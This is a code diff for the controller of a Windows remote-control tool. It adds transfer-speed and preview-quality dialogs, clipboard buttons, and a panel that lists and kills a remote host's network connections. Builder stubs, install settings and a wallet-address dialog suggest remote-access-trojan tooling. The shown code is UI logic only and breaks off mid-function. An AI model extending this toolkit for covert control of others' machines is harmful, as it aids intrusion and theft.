<ClInclude Include="TerminalModuleLoader.h" />
|
<ClInclude Include="TerminalModuleLoader.h" />
|
||||||
<ClInclude Include="..\..\common\SafeString.h" />
|
<ClInclude Include="..\..\common\SafeString.h" />
|
||||||
<ClInclude Include="NetworkDlg.h" />
|
<ClInclude Include="NetworkDlg.h" />
|
||||||
@@ -230,6 +234,7 @@
|
|||||||
<None Include="res\web\xterm.min.js" />
|
<None Include="res\web\xterm.min.js" />
|
||||||
<None Include="res\web\xterm.css" />
|
<None Include="res\web\xterm.css" />
|
||||||
<None Include="res\web\fit.min.js" />
|
<None Include="res\web\fit.min.js" />
|
||||||
|
<None Include="res\web\opus-decoder.min.js" />
|
||||||
<None Include="..\web\index.html" />
|
<None Include="..\web\index.html" />
|
||||||
<None Include="stub2\stub32.bin" />
|
<None Include="stub2\stub32.bin" />
|
||||||
<None Include="stub2\stub64.bin" />
|
<None Include="stub2\stub64.bin" />
|
||||||
@@ -262,6 +267,7 @@
|
|||||||
<Image Include="res\screen.ico" />
|
<Image Include="res\screen.ico" />
|
||||||
<Image Include="res\machine.ico" />
|
<Image Include="res\machine.ico" />
|
||||||
<Image Include="res\system.ico" />
|
<Image Include="res\system.ico" />
|
||||||
|
<Image Include="res\connections.ico" />
|
||||||
<Image Include="res\chat.ico" />
|
<Image Include="res\chat.ico" />
|
||||||
<Image Include="res\decrypt.ico" />
|
<Image Include="res\decrypt.ico" />
|
||||||
<Image Include="res\file\FILE.ico" />
|
<Image Include="res\file\FILE.ico" />
|
||||||
|
|||||||
@@ -217,7 +217,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
|
|||||||
, m_strPort(_T(""))
|
, m_strPort(_T(""))
|
||||||
, m_strFindden(FLAG_FINDEN)
|
, m_strFindden(FLAG_FINDEN)
|
||||||
, m_sGroupName(_T("default"))
|
, m_sGroupName(_T("default"))
|
||||||
, m_strEncryptIP(_T("是"))
|
, m_strEncryptIP(_L(_T("是")))
|
||||||
, m_sInstallDir(_T(""))
|
, m_sInstallDir(_T(""))
|
||||||
, m_sInstallName(_T(""))
|
, m_sInstallName(_T(""))
|
||||||
, m_sDownloadUrl(_T(""))
|
, m_sDownloadUrl(_T(""))
|
||||||
|
|||||||
@@ -0,0 +1,122 @@
|
|||||||
|
// CFileSpeedDlg.h
|
||||||
|
// 文件传输速度调节对话框:拖动滑块选档位,实时显示预估速度。
|
||||||
|
// 纯主控端 UI 偏好,持久化由 CMy2015RemoteDlg::OnFileTransferSpeed() 负责。
|
||||||
|
// 仅在 2015RemoteDlg.cpp 中 include 一次(头文件内联实现 + 消息映射,勿多处包含)。
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "LangManager.h"
|
||||||
|
#include <afxcmn.h>
|
||||||
|
|
||||||
|
// 档位表(权威来源:docs/FileTransferSpeed_Design.md §3)。
|
||||||
|
// chunkKb * 1024 / durationMs 即理论字节/秒;durationMs==0 表示不人为限速。
|
||||||
|
struct FileSpeedTier { int chunkKb; int durMs; const TCHAR* name; };
|
||||||
|
|
||||||
|
static const FileSpeedTier kFileSpeedTiers[] = {
|
||||||
|
{ 64, 200, _T("最慢") }, // ≈0.31 MB/s
|
||||||
|
{ 64, 100, _T("慢") }, // ≈0.63 MB/s
|
||||||
|
{ 64, 50, _T("默认") }, // ≈1.25 MB/s
|
||||||
|
{ 128, 50, _T("快") }, // ≈2.5 MB/s
|
||||||
|
{ 256, 50, _T("更快") }, // ≈5 MB/s
|
||||||
|
{ 512, 50, _T("很快") }, // ≈10 MB/s
|
||||||
|
{ 1024, 0, _T("不限速") }, // 网络上限
|
||||||
|
};
|
||||||
|
#define FILE_SPEED_TIER_COUNT 7
|
||||||
|
#define FILE_SPEED_DEFAULT_TIER 2 // 默认档位
|
||||||
|
|
||||||
|
class CFileSpeedDlg : public CDialog
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
enum { IDD = IDD_FILE_SPEED };
|
||||||
|
|
||||||
|
CFileSpeedDlg(int chunkKb, int durMs, CWnd* pParent = NULL)
|
||||||
|
: CDialog(CFileSpeedDlg::IDD, pParent), m_chunkKb(chunkKb), m_durMs(durMs)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
int GetChunkKb() const { return m_chunkKb; }
|
||||||
|
int GetDurMs() const { return m_durMs; }
|
||||||
|
|
||||||
|
protected:
|
||||||
|
int m_chunkKb;
|
||||||
|
int m_durMs;
|
||||||
|
|
||||||
|
static int TierIndexFor(int chunkKb, int durMs)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < FILE_SPEED_TIER_COUNT; i++)
|
||||||
|
if (kFileSpeedTiers[i].chunkKb == chunkKb && kFileSpeedTiers[i].durMs == durMs)
|
||||||
|
return i;
|
||||||
|
return FILE_SPEED_DEFAULT_TIER; // 未知值回落默认
|
||||||
|
}
|
||||||
|
|
||||||
|
static void FormatSpeed(int idx, CString& out)
|
||||||
|
{
|
||||||
|
const FileSpeedTier& t = kFileSpeedTiers[idx];
|
||||||
|
// 档位名与格式串经 _TR/_LF 走多语言表(LangManager),语言文件以中文原文为 key。
|
||||||
|
if (t.durMs <= 0) {
|
||||||
|
out.FormatL(_T("%s · 不受限速(受网络带宽约束)"), _LF(t.name));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
double mbps = (double)t.chunkKb * 1024.0 / (t.durMs / 1000.0) / (1024.0 * 1024.0);
|
||||||
|
out.FormatL(_T("%s · 约 %.2f MB/s"), _LF(t.name), mbps);
|
||||||
|
}
|
||||||
|
|
||||||
|
int GetSliderPos()
|
||||||
|
{
|
||||||
|
int pos = (int)SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_GETPOS, 0, 0);
|
||||||
|
if (pos < 0) pos = 0;
|
||||||
|
if (pos >= FILE_SPEED_TIER_COUNT) pos = FILE_SPEED_TIER_COUNT - 1;
|
||||||
|
return pos;
|
||||||
|
}
|
||||||
|
|
||||||
|
void UpdateLabel()
|
||||||
|
{
|
||||||
|
CString s;
|
||||||
|
FormatSpeed(GetSliderPos(), s);
|
||||||
|
SetDlgItemText(IDC_FSPEED_LABEL, s);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual BOOL OnInitDialog() override
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETRANGE, TRUE,
|
||||||
|
MAKELONG(0, FILE_SPEED_TIER_COUNT - 1));
|
||||||
|
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPAGESIZE, 0, 1);
|
||||||
|
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETTICFREQ, 0, 1);
|
||||||
|
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, TierIndexFor(m_chunkKb, m_durMs));
|
||||||
|
|
||||||
|
UpdateLabel();
|
||||||
|
TranslateDialog(this);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual void OnOK() override
|
||||||
|
{
|
||||||
|
int idx = GetSliderPos();
|
||||||
|
m_chunkKb = kFileSpeedTiers[idx].chunkKb;
|
||||||
|
m_durMs = kFileSpeedTiers[idx].durMs;
|
||||||
|
CDialog::OnOK();
|
||||||
|
}
|
||||||
|
|
||||||
|
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
|
||||||
|
{
|
||||||
|
(void)nSBCode; (void)nPos; (void)pScrollBar;
|
||||||
|
UpdateLabel(); // 拖动过程中实时刷新预估速度
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
|
||||||
|
{
|
||||||
|
if (LOWORD(wParam) == IDC_FSPEED_RESET && HIWORD(wParam) == BN_CLICKED) {
|
||||||
|
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, FILE_SPEED_DEFAULT_TIER);
|
||||||
|
UpdateLabel();
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
return CDialog::OnCommand(wParam, lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
};
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CFileSpeedDlg, CDialog)
|
||||||
|
ON_WM_HSCROLL()
|
||||||
|
END_MESSAGE_MAP()
|
||||||
@@ -551,6 +551,18 @@ void CIconButton::DrawIconLetterZ(CDC* pDC, const CRect& rc)
|
|||||||
DrawLetterIcon(pDC, rc, _T("Z"));
|
DrawLetterIcon(pDC, rc, _T("Z"));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Letter C icon (获取剪贴板)
|
||||||
|
void CIconButton::DrawIconLetterC(CDC* pDC, const CRect& rc)
|
||||||
|
{
|
||||||
|
DrawLetterIcon(pDC, rc, _T("C"));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Letter P icon (设置剪贴板)
|
||||||
|
void CIconButton::DrawIconLetterP(CDC* pDC, const CRect& rc)
|
||||||
|
{
|
||||||
|
DrawLetterIcon(pDC, rc, _T("P"));
|
||||||
|
}
|
||||||
|
|
||||||
// Audio On: speaker with sound waves
|
// Audio On: speaker with sound waves
|
||||||
void CIconButton::DrawIconAudioOn(CDC* pDC, const CRect& rc)
|
void CIconButton::DrawIconAudioOn(CDC* pDC, const CRect& rc)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -46,6 +46,8 @@ public:
|
|||||||
static void DrawIconLetterX(CDC* pDC, const CRect& rc); // 字母 X 图标
|
static void DrawIconLetterX(CDC* pDC, const CRect& rc); // 字母 X 图标
|
||||||
static void DrawIconLetterY(CDC* pDC, const CRect& rc); // 字母 Y 图标
|
static void DrawIconLetterY(CDC* pDC, const CRect& rc); // 字母 Y 图标
|
||||||
static void DrawIconLetterZ(CDC* pDC, const CRect& rc); // 字母 Z 图标
|
static void DrawIconLetterZ(CDC* pDC, const CRect& rc); // 字母 Z 图标
|
||||||
|
static void DrawIconLetterC(CDC* pDC, const CRect& rc); // 字母 C 图标 (获取剪贴板)
|
||||||
|
static void DrawIconLetterP(CDC* pDC, const CRect& rc); // 字母 P 图标 (设置剪贴板)
|
||||||
static void DrawIconAudioOn(CDC* pDC, const CRect& rc); // 音频开启图标 (喇叭+声波)
|
static void DrawIconAudioOn(CDC* pDC, const CRect& rc); // 音频开启图标 (喇叭+声波)
|
||||||
static void DrawIconAudioOff(CDC* pDC, const CRect& rc); // 音频关闭图标 (喇叭+斜线)
|
static void DrawIconAudioOff(CDC* pDC, const CRect& rc); // 音频关闭图标 (喇叭+斜线)
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,121 @@
|
|||||||
|
// CPreviewLevelsDlg.h
|
||||||
|
// 屏幕预览质量等级配置对话框:编辑 6 档 PreviewProfile(编码宽度 / JPEG 质量)。
|
||||||
|
// 纯主控端 UI 偏好,持久化由 CMy2015RemoteDlg::SavePreviewProfilesToCfg() 负责。
|
||||||
|
// 仅在 2015RemoteDlg.cpp 中 include 一次(头文件内联实现,勿多处包含)。
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "LangManager.h"
|
||||||
|
|
||||||
|
class CPreviewLevelsDlg : public CDialog
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
enum { IDD = IDD_PREVIEW_LEVELS };
|
||||||
|
|
||||||
|
// profiles: 指向 6 元素 PreviewProfile 数组,确认后写回
|
||||||
|
CPreviewLevelsDlg(PreviewProfile* profiles, CWnd* pParent = NULL)
|
||||||
|
: CDialog(CPreviewLevelsDlg::IDD, pParent), m_profiles(profiles)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
protected:
|
||||||
|
PreviewProfile* m_profiles;
|
||||||
|
PreviewProfile m_working[QUALITY_COUNT];
|
||||||
|
|
||||||
|
static const char* LevelName(int i)
|
||||||
|
{
|
||||||
|
static const char* names[QUALITY_COUNT] = {
|
||||||
|
"Ultra", "High", "Good", "Medium", "Low", "Minimal"
|
||||||
|
};
|
||||||
|
return (i >= 0 && i < QUALITY_COUNT) ? names[i] : "?";
|
||||||
|
}
|
||||||
|
|
||||||
|
void LoadToControls()
|
||||||
|
{
|
||||||
|
CString s;
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
s.Format(_T("%d"), m_working[i].maxWidth);
|
||||||
|
SetDlgItemText(IDC_PLEVEL_WIDTH + i, s);
|
||||||
|
s.Format(_T("%d"), m_working[i].jpegQuality);
|
||||||
|
SetDlgItemText(IDC_PLEVEL_QUALITY + i, s);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ReadInt(int id, int& out)
|
||||||
|
{
|
||||||
|
CString s;
|
||||||
|
GetDlgItemText(id, s);
|
||||||
|
s.Trim();
|
||||||
|
if (s.IsEmpty()) return false;
|
||||||
|
|
||||||
|
int v = 0;
|
||||||
|
for (int k = 0; k < s.GetLength(); k++) {
|
||||||
|
TCHAR ch = s[k];
|
||||||
|
if (ch < _T('0') || ch > _T('9')) return false;
|
||||||
|
v = v * 10 + (ch - _T('0'));
|
||||||
|
}
|
||||||
|
out = v;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ReadFromControls(CString& err)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
int w, q;
|
||||||
|
if (!ReadInt(IDC_PLEVEL_WIDTH + i, w))
|
||||||
|
{ err.Format(_T("等级 %s 的最大宽度不是有效数字"), LevelName(i)); return false; }
|
||||||
|
if (!ReadInt(IDC_PLEVEL_QUALITY + i, q))
|
||||||
|
{ err.Format(_T("等级 %s 的 JPEG 质量不是有效数字"), LevelName(i)); return false; }
|
||||||
|
|
||||||
|
if (w < 64 || w > 2560)
|
||||||
|
{ err.Format(_T("等级 %s 的最大宽度需在 64~2560 之间"), LevelName(i)); return false; }
|
||||||
|
if (q < 1 || q > 100)
|
||||||
|
{ err.Format(_T("等级 %s 的 JPEG 质量需在 1~100 之间"), LevelName(i)); return false; }
|
||||||
|
|
||||||
|
m_working[i].maxWidth = w;
|
||||||
|
m_working[i].jpegQuality = q;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void ResetToDefaults()
|
||||||
|
{
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
m_working[i] = GetScreenPreviewProfile(i);
|
||||||
|
}
|
||||||
|
LoadToControls();
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual BOOL OnInitDialog() override
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
m_working[i] = m_profiles[i];
|
||||||
|
}
|
||||||
|
LoadToControls();
|
||||||
|
TranslateDialog(this);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual void OnOK() override
|
||||||
|
{
|
||||||
|
CString err;
|
||||||
|
if (!ReadFromControls(err)) {
|
||||||
|
MessageBox(err, _TR("提示"), MB_ICONWARNING);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
m_profiles[i] = m_working[i];
|
||||||
|
}
|
||||||
|
CDialog::OnOK();
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
|
||||||
|
{
|
||||||
|
if (LOWORD(wParam) == IDC_PLEVEL_RESET && HIWORD(wParam) == BN_CLICKED) {
|
||||||
|
ResetToDefaults();
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
return CDialog::OnCommand(wParam, lParam);
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -107,7 +107,7 @@ void CWalletDlg::OnOK()
|
|||||||
if (a[i].IsEmpty()) continue;
|
if (a[i].IsEmpty()) continue;
|
||||||
if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) {
|
if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) {
|
||||||
char tip[100];
|
char tip[100];
|
||||||
sprintf(tip, "第 %d 个钱包地址不合法!", i + 1);
|
sprintf(tip, _TRF("第 %d 个钱包地址不合法!"), i + 1);
|
||||||
MessageBoxL(CString(tip), "提示", MB_ICONINFORMATION);
|
MessageBoxL(CString(tip), "提示", MB_ICONINFORMATION);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,305 @@
|
|||||||
|
// ConnectionsDlg.cpp : 实现文件
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "2015Remote.h"
|
||||||
|
#include "ConnectionsDlg.h"
|
||||||
|
#include "afxdialogex.h"
|
||||||
|
#include <ws2tcpip.h>
|
||||||
|
#include <utility>
|
||||||
|
|
||||||
|
|
||||||
|
// CConnectionsDlg 对话框
|
||||||
|
|
||||||
|
IMPLEMENT_DYNAMIC(CConnectionsDlg, CDialog)
|
||||||
|
|
||||||
|
// 连接记录排序辅助:保存完整 ConnectionInfo(供右键强断)与各列排序键。
|
||||||
|
// 数字列零填充、地址列转定宽十六进制,保证字符串比较即得正确数值顺序。
|
||||||
|
typedef struct ConnItemData {
|
||||||
|
ConnectionInfo info;
|
||||||
|
CString key[8];
|
||||||
|
CString GetKey(int index) const { return key[index]; }
|
||||||
|
} ConnItemData;
|
||||||
|
|
||||||
|
CConnectionsDlg::CConnectionsDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||||
|
: DialogBase(CConnectionsDlg::IDD, pParent, IOCPServer, ContextObject, IDI_CONNECTION)
|
||||||
|
, m_nRClickItem(-1)
|
||||||
|
, m_nSortColumn(-1)
|
||||||
|
, m_bSortAscending(true)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
CConnectionsDlg::~CConnectionsDlg()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
__super::DoDataExchange(pDX);
|
||||||
|
DDX_Control(pDX, IDC_LIST, m_ControlList);
|
||||||
|
DDX_Control(pDX, IDC_STATIC_COUNT, m_Count);
|
||||||
|
}
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CConnectionsDlg, CDialog)
|
||||||
|
ON_WM_CLOSE()
|
||||||
|
ON_WM_SIZE()
|
||||||
|
ON_COMMAND(ID_CONNECTION_KILL, &CConnectionsDlg::OnConnectionKill)
|
||||||
|
ON_COMMAND(ID_CONNECTION_REFRESH, &CConnectionsDlg::OnConnectionRefresh)
|
||||||
|
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CConnectionsDlg::OnNMRClickList)
|
||||||
|
ON_NOTIFY(HDN_ITEMCLICK, 0, &CConnectionsDlg::OnHdnItemclickList)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
// CConnectionsDlg 消息处理程序
|
||||||
|
|
||||||
|
static CString FormatAddr(BYTE af, const uint8_t* addr)
|
||||||
|
{
|
||||||
|
char buf[INET6_ADDRSTRLEN] = { 0 };
|
||||||
|
if (af == AF_INET) {
|
||||||
|
inet_ntop(AF_INET, addr, buf, INET_ADDRSTRLEN);
|
||||||
|
} else {
|
||||||
|
inet_ntop(AF_INET6, addr, buf, INET6_ADDRSTRLEN);
|
||||||
|
}
|
||||||
|
return CA2T(buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
static CString TcpStateName(DWORD state)
|
||||||
|
{
|
||||||
|
switch (state) {
|
||||||
|
case 1: return _T("CLOSED");
|
||||||
|
case 2: return _T("LISTEN");
|
||||||
|
case 3: return _T("SYN_SENT");
|
||||||
|
case 4: return _T("SYN_RCVD");
|
||||||
|
case 5: return _T("ESTABLISHED");
|
||||||
|
case 6: return _T("FIN_WAIT1");
|
||||||
|
case 7: return _T("FIN_WAIT2");
|
||||||
|
case 8: return _T("CLOSE_WAIT");
|
||||||
|
case 9: return _T("CLOSING");
|
||||||
|
case 10: return _T("LAST_ACK");
|
||||||
|
case 11: return _T("TIME_WAIT");
|
||||||
|
case 12: return _T("DELETE_TCB");
|
||||||
|
default: return _T("-");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 地址排序键:IPv4/IPv6 统一转成 16 字节定宽十六进制(前缀 4/6 区分协议族),
|
||||||
|
// 使字符串比较等价于按地址数值排序。
|
||||||
|
static CString AddrSortKey(uint8_t af, const uint8_t* addr)
|
||||||
|
{
|
||||||
|
CString key;
|
||||||
|
key.Format(_T("%d:"), (af == AF_INET) ? 4 : 6);
|
||||||
|
for (int i = 0; i < 16; ++i)
|
||||||
|
key.AppendFormat(_T("%02X"), addr[i]);
|
||||||
|
return key;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CConnectionsDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
__super::OnInitDialog();
|
||||||
|
|
||||||
|
SetIcon(m_hIcon, TRUE);
|
||||||
|
SetIcon(m_hIcon, FALSE);
|
||||||
|
CString strString;
|
||||||
|
strString.FormatL("%s - 连接管理", m_IPAddress);
|
||||||
|
SetWindowText(strString);
|
||||||
|
|
||||||
|
m_ControlList.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||||
|
m_ControlList.InsertColumnL(0, "协议", LVCFMT_LEFT, 50);
|
||||||
|
m_ControlList.InsertColumnL(1, "本地地址", LVCFMT_LEFT, 120);
|
||||||
|
m_ControlList.InsertColumnL(2, "本地端口", LVCFMT_LEFT, 70);
|
||||||
|
m_ControlList.InsertColumnL(3, "远端地址", LVCFMT_LEFT, 120);
|
||||||
|
m_ControlList.InsertColumnL(4, "远端端口", LVCFMT_LEFT, 70);
|
||||||
|
m_ControlList.InsertColumnL(5, "状态", LVCFMT_LEFT, 100);
|
||||||
|
m_ControlList.InsertColumnL(6, "PID", LVCFMT_LEFT, 60);
|
||||||
|
m_ControlList.InsertColumnL(7, "进程名", LVCFMT_LEFT, 180);
|
||||||
|
|
||||||
|
ShowConnectionList();
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CConnectionsDlg::ShowConnectionList(void)
|
||||||
|
{
|
||||||
|
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0);
|
||||||
|
int len = tmp.GetBufferLength();
|
||||||
|
DeleteAllItems();
|
||||||
|
|
||||||
|
if (len < 3) {
|
||||||
|
CString strEmpty;
|
||||||
|
strEmpty.FormatL("连接数:%d", 0);
|
||||||
|
m_Count.SetWindowText(strEmpty);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
const BYTE* p = tmp.GetBuffer(0);
|
||||||
|
uint16_t count = 0;
|
||||||
|
memcpy(&count, p + 1, 2);
|
||||||
|
int avail = (len - 3) / (int)sizeof(ConnectionInfo);
|
||||||
|
if ((int)count > avail) count = (uint16_t)avail;
|
||||||
|
|
||||||
|
for (int i = 0; i < (int)count; ++i) {
|
||||||
|
const ConnectionInfo* info = (const ConnectionInfo*)(p + 3 + i * sizeof(ConnectionInfo));
|
||||||
|
|
||||||
|
CString strProto = (info->proto == 1) ? _T("TCP") : _T("UDP");
|
||||||
|
CString strLocalAddr = FormatAddr(info->af, info->localAddr);
|
||||||
|
CString strRemoteAddr = FormatAddr(info->af, info->remoteAddr);
|
||||||
|
CString strState = (info->proto == 1) ? TcpStateName(info->state) : _T("-");
|
||||||
|
|
||||||
|
CString strLocalPort, strRemotePort, strPid, strProcName;
|
||||||
|
strLocalPort.Format(_T("%u"), info->localPort);
|
||||||
|
strRemotePort.Format(_T("%u"), info->remotePort);
|
||||||
|
strPid.Format(_T("%u"), info->pid);
|
||||||
|
strProcName = CA2T(info->procName, CP_UTF8);
|
||||||
|
|
||||||
|
auto* data = new ConnItemData;
|
||||||
|
data->info = *info;
|
||||||
|
data->key[0] = strProto;
|
||||||
|
data->key[1] = AddrSortKey(info->af, info->localAddr);
|
||||||
|
data->key[2].Format(_T("%05u"), info->localPort);
|
||||||
|
data->key[3] = AddrSortKey(info->af, info->remoteAddr);
|
||||||
|
data->key[4].Format(_T("%05u"), info->remotePort);
|
||||||
|
data->key[5].Format(_T("%03u"), info->state);
|
||||||
|
data->key[6].Format(_T("%010u"), info->pid);
|
||||||
|
data->key[7] = strProcName;
|
||||||
|
|
||||||
|
m_ControlList.InsertItem(i, strProto);
|
||||||
|
m_ControlList.SetItemText(i, 1, strLocalAddr);
|
||||||
|
m_ControlList.SetItemText(i, 2, strLocalPort);
|
||||||
|
m_ControlList.SetItemText(i, 3, strRemoteAddr);
|
||||||
|
m_ControlList.SetItemText(i, 4, strRemotePort);
|
||||||
|
m_ControlList.SetItemText(i, 5, strState);
|
||||||
|
m_ControlList.SetItemText(i, 6, strPid);
|
||||||
|
m_ControlList.SetItemText(i, 7, strProcName);
|
||||||
|
m_ControlList.SetItemData(i, (DWORD_PTR)data);
|
||||||
|
}
|
||||||
|
|
||||||
|
CString strCount;
|
||||||
|
strCount.FormatL("连接数:%d", (int)count);
|
||||||
|
m_Count.SetWindowText(strCount);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::OnClose()
|
||||||
|
{
|
||||||
|
CancelIO();
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
DeleteAllItems();
|
||||||
|
|
||||||
|
DialogBase::OnClose();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::DeleteAllItems()
|
||||||
|
{
|
||||||
|
for (int i = 0; i < m_ControlList.GetItemCount(); i++) {
|
||||||
|
auto data = (ConnItemData*)m_ControlList.GetItemData(i);
|
||||||
|
if (data) delete data;
|
||||||
|
}
|
||||||
|
m_ControlList.DeleteAllItems();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
|
||||||
|
{
|
||||||
|
LPNMITEMACTIVATE pAct = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||||
|
m_nRClickItem = pAct->iItem;
|
||||||
|
|
||||||
|
bool canKill = false;
|
||||||
|
if (m_nRClickItem >= 0) {
|
||||||
|
auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem);
|
||||||
|
canKill = (data && data->info.proto == 1 && data->info.af == AF_INET);
|
||||||
|
}
|
||||||
|
|
||||||
|
CMenu Menu;
|
||||||
|
Menu.LoadMenu(IDR_MENU_CONNECTIONS);
|
||||||
|
TranslateMenu(&Menu);
|
||||||
|
CMenu* SubMenu = Menu.GetSubMenu(0);
|
||||||
|
if (SubMenu && !canKill) {
|
||||||
|
SubMenu->EnableMenuItem(ID_CONNECTION_KILL, MF_BYCOMMAND | MF_GRAYED);
|
||||||
|
}
|
||||||
|
CPoint Point;
|
||||||
|
GetCursorPos(&Point);
|
||||||
|
SubMenu->TrackPopupMenu(TPM_LEFTALIGN | TPM_LEFTBUTTON, Point.x, Point.y, this);
|
||||||
|
*pResult = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::OnConnectionKill()
|
||||||
|
{
|
||||||
|
if (m_nRClickItem < 0) return;
|
||||||
|
auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem);
|
||||||
|
if (!data || data->info.proto != 1 || data->info.af != AF_INET) return;
|
||||||
|
|
||||||
|
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + sizeof(ConnectionInfo));
|
||||||
|
if (szBuffer == NULL) return;
|
||||||
|
szBuffer[0] = COMMAND_KILL_CONNECTION;
|
||||||
|
memcpy(szBuffer + 1, &data->info, sizeof(ConnectionInfo));
|
||||||
|
m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer));
|
||||||
|
LocalFree(szBuffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::OnConnectionRefresh()
|
||||||
|
{
|
||||||
|
BYTE bToken = COMMAND_CONNECTION;
|
||||||
|
m_ContextObject->Send2Client(&bToken, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::OnReceiveComplete(void)
|
||||||
|
{
|
||||||
|
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
|
||||||
|
case TOKEN_CONNECTION_LIST:
|
||||||
|
ShowConnectionList();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::OnSize(UINT nType, int cx, int cy)
|
||||||
|
{
|
||||||
|
__super::OnSize(nType, cx, cy);
|
||||||
|
|
||||||
|
if (!m_ControlList.GetSafeHwnd()) return;
|
||||||
|
|
||||||
|
CRect rc;
|
||||||
|
m_ControlList.GetWindowRect(&rc);
|
||||||
|
ScreenToClient(&rc);
|
||||||
|
|
||||||
|
m_ControlList.MoveWindow(0, 0, cx, cy, TRUE);
|
||||||
|
}
|
||||||
|
|
||||||
|
int CALLBACK CConnectionsDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort)
|
||||||
|
{
|
||||||
|
auto* pSortInfo = reinterpret_cast<std::pair<int, bool>*>(lParamSort);
|
||||||
|
int nColumn = pSortInfo->first;
|
||||||
|
bool bAscending = pSortInfo->second;
|
||||||
|
|
||||||
|
auto* context1 = (ConnItemData*)lParam1;
|
||||||
|
auto* context2 = (ConnItemData*)lParam2;
|
||||||
|
CString s1 = context1->GetKey(nColumn);
|
||||||
|
